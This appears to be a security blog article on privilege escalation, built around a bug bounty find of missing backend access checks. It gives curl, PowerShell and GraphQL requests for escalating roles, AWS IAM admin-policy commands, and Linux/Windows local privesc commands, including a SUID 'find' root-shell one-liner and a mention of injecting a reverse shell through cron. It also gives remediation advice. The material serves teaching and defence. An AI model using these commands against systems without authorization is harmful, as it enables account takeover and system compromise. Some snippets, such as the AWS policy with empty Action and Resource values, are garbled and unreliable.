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Introduction:
Privilege escalation vulnerabilities remain the holy grail for bug bounty hunters because they directly compromise the core trust model of any multi‑tenant application. A recent real‑world find by Prathmesh Chaudhari demonstrates that the most critical flaws often require no sophisticated tooling—just an understanding of broken access controls. By clicking UI buttons that should have been restricted, he removed an owner from their own organization and promoted himself to owner, netting $1,750 in bounties. This article dissects the mechanics behind such logic flaws, provides hands‑on testing methodologies, and equips you with commands and code to find – and fix – these issues across Linux, Windows, and cloud environments.
Learning Objectives:
- Understand how missing backend access control checks enable horizontal and vertical privilege escalation.
- Learn manual testing techniques for privilege escalation without automated scanners.
- Master remediation strategies including role‑based access control (RBAC) and API hardening.
You Should Know:
- The “Just a Button” Vulnerability – Dissecting the $1,750 Find
The reported bug involved two critical actions: a member removing the original owner from their own organization, and a member upgrading their own role to owner. Both stem from a single root cause – the frontend exposed privileged UI elements, and the backend performed zero authorization checks.
What happened step‑by‑step:
- The attacker logged in as a low‑privileged member of an organization.
- In the organization settings panel, the “Remove Owner” button was visible and clickable (should be hidden/disabled for non‑owners).
- Upon clicking, an HTTP request was sent to an endpoint like
POST /api/org/removeUser. The request body contained the target user ID (the owner). - The backend processed the request without verifying if the requester was actually an owner or had appropriate permissions.
- Similarly, the “Change Role” dropdown allowed the member to select “Owner” and submit – again, no backend check.
Manual testing approach (no Burp required):
- Open browser dev tools (F12) → Network tab.
- Perform the privileged action as a low‑privilege user, capture the request.
- Log out, log in as a different low‑privilege user, and replay the exact request using the browser’s “Copy as cURL” or by pasting the request into a tool like
curl.
Linux command to test IDOR/privilege escalation via cURL:
Replace with actual cookies and endpoint
curl -X POST https://target.com/api/org/removeUser \
-H "Cookie: session=lowpriv_user_session" \
-H "Content-Type: application/json" \
-d '{"userId": "owner_user_id_123"}'
Windows (PowerShell) equivalent:
Invoke-RestMethod -Uri "https://target.com/api/org/removeUser" `
-Method POST `
-Headers @{"Cookie"="session=lowpriv_user_session"} `
-Body '{"userId":"owner_user_id_123"}' `
-ContentType "application/json"
How to use it:
Replace the endpoint and payload with actual values observed in dev tools. If the server responds with `200 OK` or a success message, you’ve found a broken access control. Always ensure you have permission before testing.
- Hunting Privilege Escalation in REST APIs and GraphQL
Modern applications expose complex APIs. Privilege escalation often hides in implicit parameters, deprecated endpoints, or GraphQL introspection.
Step‑by‑step API testing methodology:
- Enumerate all endpoints – Use browser dev tools or a proxy (even simple ones like
mitmproxy). Look for endpoints like/api/user/updateRole,/api/org/addAdmin,/api/teams/transferOwnership. - Fuzz role parameters – If an endpoint accepts
"role": "member", try changing it to"role": "owner","admin","superuser". Also try numeric IDs (0,1,2,99) or strings like"administrator". - Check for hidden debug endpoints – Append
/?debug=true,/v2/, `/internal/` to API paths. Many internal endpoints skip authorization. - GraphQL specific – Use introspection queries to discover mutations. Then attempt to call privileged mutations with a low‑privilege token.
Example GraphQL mutation to test:
mutation {
updateUserRole(userId: "victim_id", newRole: "OWNER") {
success
}
}
Send this with a low‑privilege JWT. If it succeeds, report it immediately.
Linux command to test with GraphQL (using `curl` and a saved query file):
curl -X POST https://target.com/graphql \
-H "Authorization: Bearer lowpriv_token" \
-H "Content-Type: application/json" \
-d '{"query":"mutation{updateUserRole(userId:\"owner123\",newRole:\"OWNER\"){success}}"}'
Mitigation for developers:
Always enforce authorization on the backend using a centralized policy engine. Never rely on UI hiding or client‑side role checks. Implement middleware that validates the requester’s role against the resource owner and action type.
- Cloud Hardening Against Privilege Escalation (AWS, Azure, GCP)
Cloud IAM misconfigurations often allow users to escalate privileges by modifying their own policies or attaching existing high‑privilege roles.
Common cloud privilege escalation scenarios:
- AWS: A user with `iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` can create a new admin version of any managed policy and set it as default, effectively granting themselves full access.
- Azure: A user with `Microsoft.Authorization/roleAssignments/write` can assign a privileged role (e.g., Contributor) to their own user object.
- GCP: A user with `iam.serviceAccounts.actAs` permission on a service account can impersonate it and gain its roles.
Step‑by‑step detection and exploitation (authorized testing only):
- Enumerate current permissions – Use AWS CLI with `aws iam list-attached-user-policies` or
aws iam simulate-principal-policy. - Look for dangerous combinations – For AWS, check if you can update an inline policy:
iam:PutUserPolicy. If yes, you can add `”Effect”:”Allow”,”Action”:””,”Resource”:””` to your own policy. - Exploit (on your own cloud environment) – Use a script to update the policy.
AWS CLI commands to test (Linux/Windows):
List user policies
aws iam list-user-policies --user-name myuser
Get existing policy document
aws iam get-user-policy --user-name myuser --policy-name mypolicy
Create a new version with admin privileges
aws iam put-user-policy --user-name myuser --policy-name mypolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"","Resource":""}]}'
Prevention:
Use AWS Organizations SCPs to block dangerous actions at the root level. Implement least privilege and use tools like aws‑iam‑policy‑simulator. Regularly run `pacu` or `ScoutSuite` to identify privilege escalation paths.
4. Linux Local Privilege Escalation for System Compromise
When you gain foothold on a Linux server, privilege escalation often involves SUID binaries, cron jobs, or sudo misconfigurations. This directly parallels web privilege escalation – both exploit missing access checks.
Step‑by‑step manual Linux privesc:
- Check sudo rights: `sudo -l` – look for commands that can be run as root without password.
- Find SUID binaries: `find / -perm -4000 2>/dev/null` – known vulnerable ones include
pkexec,sudo,vim,find. - Exploit writable cron scripts: `cat /etc/crontab` – if a script running as root is writable, inject reverse shell.
- Abuse capabilities: `getcap -r / 2>/dev/null` – e.g., `cap_setuid+ep` on Python allows
os.setuid(0).
Example exploiting a vulnerable SUID binary (`find`):
/usr/bin/find has SUID bit set find / -exec /bin/sh -p \; -quit
Windows local privilege escalation command example:
Check for unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" Check AlwaysInstallElevated registry keys reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Remediation:
Regularly audit SUID binaries, use `sudo` with strict command filtering, and avoid running cron jobs as root when possible. Apply the principle of least privilege to system users as well as application roles.
- API Security Testing Course Module – Role‑Based Access Control (RBAC) Hardening
To prevent the exact bugs that earned $1,750, organizations must implement robust RBAC with server‑side enforcement.
Tutorial: Building a secure RBAC middleware (pseudo‑code for Node.js/Express):
function authorize(requiredRole, resourceOwnerId) {
return (req, res, next) => {
const userRole = req.user.role;
const requesterId = req.user.id;
const targetUserId = req.params.userId || req.body.userId;
// Vertical privilege check
if (requiredRole === 'owner' && userRole !== 'owner') {
return res.status(403).send('Insufficient role');
}
// Horizontal privilege check (own resource)
if (targetUserId && requesterId !== targetUserId && userRole !== 'admin') {
return res.status(403).send('Cannot modify another user');
}
next();
};
}
app.post('/api/org/removeUser', authorize('owner'), removeUserHandler);
Testing this with automated scripts:
Use Postman’s runner or a simple Python script to iterate over role combinations.
Python example to automate testing:
import requests
roles = ['member', 'viewer', 'admin', 'owner']
endpoint = 'https://target.com/api/org/removeUser'
cookies = {'session': 'member_session_token'}
for role in roles:
payload = {'userId': 'owner_id', 'newRole': role}
r = requests.post(endpoint, json=payload, cookies=cookies)
if r.status_code == 200 and 'success' in r.text:
print(f"[!] Privilege escalation possible with role {role}")
What Undercode Say:
- The most critical bugs don’t need expensive tools – Developers often focus on complex injection attacks while leaving trivial UI‑based access controls broken. Manual exploration of visible buttons and API endpoints regularly yields high bounties.
- Authorization must be zero‑trust on every request – Never trust the frontend to restrict actions. Every backend handler must independently verify the requester’s role, resource ownership, and action type. The $1,750 find shows that even mature programs miss this.
Analysis: The root cause repeats across industries – teams invest in WAFs and vulnerability scanners but neglect basic session and permission validation. Building a culture of “assume every endpoint is public” during code reviews would eliminate these bugs. For bug hunters, always start with the UI: click everything, replay requests, and change parameters. For defenders, implement automated tests that simulate low‑privileged users attempting privileged actions. The return on investment for fixing these flaws is immediate and prevents financial and reputational damage.
Prediction:
As more organizations adopt AI‑generated boilerplate code for APIs, the frequency of missing access control checks will initially increase – because LLMs often replicate insecure patterns. However, we will see a rise in automated “access control linters” and runtime authorization fuzzers that simulate every role against every endpoint. Bug bounty platforms will prioritize logic flaws over traditional injections, raising payouts for creative privilege escalations. The $1,750 find is a signal: the low‑hanging fruit of 2025 is the button that should not be there.
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IT/Security Reporter URL:
Reported By: Prathmesh Chaudhari – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
